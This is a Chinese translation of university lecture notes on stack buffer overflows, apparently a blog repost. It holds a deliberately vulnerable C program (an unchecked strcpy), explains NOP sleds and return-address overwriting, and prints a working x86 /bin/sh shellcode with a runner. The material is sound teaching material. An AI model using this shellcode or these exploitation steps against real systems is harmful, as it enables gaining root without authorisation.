雪城大学信息安全讲义 4.1~4.2

四、缓冲区溢出漏洞和攻击

原文：Buffer-Overflow Vulnerabilities and Attacks

译者：飞龙

1 内存

这个讲义的“区域”（Area）和“段”（Segment）与多数教程正好相反，译文中已更正。

在 PC 架构中，程序中有四个基本读写段：栈、数据、BSS 和堆。数据、BSS 以及堆区可统称为“数据区域”。在“内存布局和栈”的教程中，Peter Jay Salzman 详细描述了内存布局。

  • 栈：栈通常在内存的高地址。通常“向下增长”：从高地址到低地址。无论何时进行函数调用，栈都会使用。

  • 数据区域

    • 数据段：包含程序所用的全局变量，它们不被初始化为 0。例如，字符串hello world由char s[] = "hello world"定义，它在 C 中存在于数据段。
    • BSS 段：起始于数据段的末尾，并包含所有初始化为 0 的全局变量。例如，变量声明为static int，会包含在 BSS 段中。
    • 堆段：起始于 BSS 段的末尾，向高地址增长。堆段由malloc库管理。堆段由程序中所有共享库以及动态加载模块共享。

2 栈缓冲区溢出

2.1 栈的背景

  • 栈布局：下面的图片展示了在执行流进入函数func之后，栈的布局。

  • 栈方向：栈从高地址向低地址增长（而缓冲区正好相反）。

  • 返回地址：函数返回后所执行的地址。

    • 在进入函数之前，程序需要记住从函数返回之后，应该返回到哪里。也就是需要记住返回地址。

    • 返回地址是函数调用下一条指令的地址。

    • 返回地址会储存在栈上。在 x86 中，指令call func会将call语句下一条指令的地址压入栈中（返回地址区域），之后跳到func的代码处。

  • 帧指针（FP）：用于引用局部变量和函数参数。这个指针储存在寄存器中（例如 x86 中是ebp寄存器）。下面，我们使用$FP来表示FP寄存器的值。

    • variable_a被引用为$FP-16。
    • buffer被引用为$FP-12。
    • str被引用为$FP+8。

  • 缓冲区溢出问题：上面的程序拥有缓冲区溢出问题。

    • 函数strcpy(buffer, str)将内存从str复制到buffer。
    • str指向的字符串多于 12 个字符，但是buffer的大小只为 12。
    • 函数strcpy不检查buffer是否到达了边界。它值在看到字符串末尾\0时停止。
    • 所以，str末尾的字符会覆盖buffer上面的内存中的内容。

2.2 漏洞程序

现在，让我们来看一个更复杂的程序。不像前面的程序，用于覆盖返回地址的字符串不是静态字符串，它通常由用户提供。换句话说，用户可以决定字符串中包含什么。

/* stack.c */
/* This program has a buffer overflow vulnerability. */ 
/* Our task is to exploit this vulnerability */ 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h>
int func (char *str) { 
    char buffer[12];
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv) { 
    char str[517]; 
    FILE *badfile;
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    func (str); 
    printf("Returned Properly\n"); 
    return 1;
}

我们并不难以看到上面的程序拥有缓冲区溢出问题。这个程序首先从badfile文件读取输入，之后将输入传递给bof中另一个缓冲区。原始输入最大为 517 个字节，但是bof中的缓冲区只有 12 个字节。因为strcpy不检查边界，会发生缓冲区溢出。如果这个程序是 Set-Root-UID 程序，普通用户就可以利用这个缓冲区溢出漏洞，并得到 Root 权限。

2.3 利用缓冲区溢出罗东

为了完全利用栈缓冲区溢出漏洞，我们需要解决几个挑战性的问题。

  • 注入恶意代码：我们需要能够像目标进程的内存中注入恶意代码。如果我们可以控制目标程序中，缓冲区的内存，就可以完成它。例如，在上面的例子中，程序从文件获取输入。我们可以将恶意代码保存到文件中，并且目标程序会将其读入内存。

  • 跳到恶意代码：使用内存中已有的恶意代码，如果目标程序可以跳到恶意代码的起始点，攻击者就能控制它。

  • 编写恶意代码：编写恶意代码并不犊砸，我们就展示一种特定类型的恶意代码，Shellcode，如何编写。

2.4 注入恶意代码

使用程序中的缓冲区溢出漏洞，我们可以轻易向运行的程序的内存中注入恶意代码。让我们假设恶意代码已经编写好了（我们会在稍后讨论如何编写恶意代码）。

在上面的漏洞程序中，程序从文件badfile读取内存，并且将内存复制到buffer。之后，我们可以简单将恶意代码（二进制形式）储存在badfile中，漏洞程序会将恶意代码复制到栈上的buffer（它会溢出buffer）。

2.5 跳到恶意代码

  • 为了跳到我们已经注入到目标程序栈上的恶意代码，我们需要知道代码的绝对地址，如果我们事先知道地址，在溢出缓冲区时，我们就可以使用这个地址来覆盖存放返回地址的内存。因此，当函数返回时，他就会返回到我们的恶意代码。

  • 下面就是寻找恶意代码从哪里开始的挑战。

  • 如果目标程序是个 Set-UID 程序，你可以复制这个程序，并使用你自己的权限来执行。你可以用这个方式来调试程序（要逐级你不能调试 Set-UID 程序）。在调试器中，你可以弄清楚buffer的地址，因此计算出恶意代码的起始点。buffer的地址可能和你运行 Set-UID 副本时不同，但已经很接近了。你可以尝试多个值。

  • 如果目标程序远程运行，并且你可能不能依赖调试器来寻找地址。但是，你可以始终猜测它。下面的事实是的猜测变得可行：

    • 栈通常起始于相同地址。
    • 栈通常不是很深：多数程序不会一次性压入成百上千字节。
    • 因此我们需要猜测的栈的范围实际非常小。

  • 提升几率：为了提升成功的几率，我们可以向恶意代码的顶部添加许多 NOP 指令。NOP 是个特殊的指令，除了步进到下一条指令之外，不做任何事情。因此，只要猜测的地址指向了 NOP 指令之一，攻击就成功了。使用这些 NOP，猜测指向恶意代码的正确地址的几率就会显著增加。

2.6 恶意代码：Shellcode

在前面的讨论中，我们假设恶意代码已经是可用的。这个章节中，我们会讨论如何编写这种恶意代码。

如果我们可以让特权程序执行我们的代码，我们想要它执行什么代码呢？最强大的代码就是调用 Shell，所以我们可以在其中执行任何我们想要执行的代码。目标为加载 Shell 的程序就叫做 Shellcode。为了了解如何编写 Shellcode，让我们来看看下面的 C 程序：

#include <stdio.h>
int main( ) { 
    char *name[2];
    name[0] = "/bin/sh"; 
    name[1] = NULL; 
    execve(name[0], name, NULL);
}

在我们将上面的程序编译为二进制代码之后，我们可以在缓冲区溢出工集中，直接使用二进制代码作为 Shellcode 嘛？事情并不是那么容易。如果我们直接使用上面的代码，就会有几个问题：

  • 首先，为了调用系统调用execve，我们需要知道/bin/sh的地址。字符串保存在哪里，以及如何获取字符串位置，并不是复杂的问题。

  • 其次，代码中有一些空字符。这会使strcpy停止，如果漏洞由strcpy导致，我们就会有问题。

为了解决第一个问题，我们可以将字符串/bin/sh压入栈中，之后使用栈指针esp获取字符串位置。为了解决第二个问题，我们可以将包含 0 的指令转换为另一条不包含 0 的指令，例如，为了将 0 储存到寄存器中，我们可以使用 XOR 指令，而不是直接将寄存器赋为 0。下面是个用汇编语言编写的 Shellcode 的例子：

Line 1: xorl %eax,%eax 
Line 2: pushl %eax        # push 0 into stack (end of string) 
Line 3: pushl $0x68732f2f # push "//sh" into stack 
Line 4: pushl $0x6e69622f # push "/bin" into stack 
Line 5: movl %esp,%ebx    # %ebx = name[0] 
Line 6: pushl %eax        # name[1] 
Line 7: pushl %ebx        # name[0] 
Line 8: movl %esp,%ecx    # %ecx = name 
Line 9: cdq               # %edx = 0 
Line 10: movb $0x0b,%al 
Line 11: int $0x80        # invoke execve(name[0], name, 0)

Shellcode 中的一些地方需要注意：

  • 首先，第三条指令将/sh压入到栈中。这是因为我们需要一个 32 位数值，/sh只有 24 位，幸运的地址，//等价于/，所以我们可以使用两个斜杠字符。

  • 其次，在调用execve系统调用之前，我们需要将name[0]（字符串地址），name（数组地址），以及NULL储存到%ebx、%ecx以及%edx寄存器。

    • 第五行将name[0]储存到`%ebx。
    • 第八行将name储存到%ecx。
    • 第六航将%edx设为 0。有其他将它设为 0 的办法（例如xorl %edx, %edx）。这里使用的cdq是个简单的指令，将 EAX 最高位（第 31 位）复制到 EDX 寄存器的每一位，也就是将%edx设为 0。

  • 再者，execve系统调用在我们将%al设为 11 并执行int $0x80时调用。

如果我们将上面的代码转换为二进制，并将其储存在数组中，我们就行可以在 C 程序中调用：

#include <stdlib.h> 
#include <stdio.h>

const char code[] = 
    "\x31\xc0" /* Line 1: xorl %eax,%eax */ 
    "\x50" /* Line 2: pushl %eax */ 
    "\x68""//sh" /* Line 3: pushl $0x68732f2f */ 
    "\x68""/bin" /* Line 4: pushl $0x6e69622f */ 
    "\x89\xe3" /* Line 5: movl %esp,%ebx */ 
    "\x50" /* Line 6: pushl %eax */ 
    "\x53" /* Line 7: pushl %ebx */ 
    "\x89\xe1" /* Line 8: movl %esp,%ecx */ 
    "\x99" /* Line 9: cdq */ 
    "\xb0\x0b" /* Line 10: movb $0x0b,%al */ 
    "\xcd\x80" /* Line 11: int $0x80 */ ;

int main(int argc, char **argv) { 
    char buf[sizeof(code)]; 
    strcpy(buf, code); 
    ((void(*)( ))buf)( ); 
}

上面main函数中的((void(*)( ))buf)( )语句会调用 Shell，因为执行了 Shellcode。

posted @ 2017-04-20 10:38  绝不原创的飞龙  阅读(13)  评论(0)  编辑  收藏  举报  来源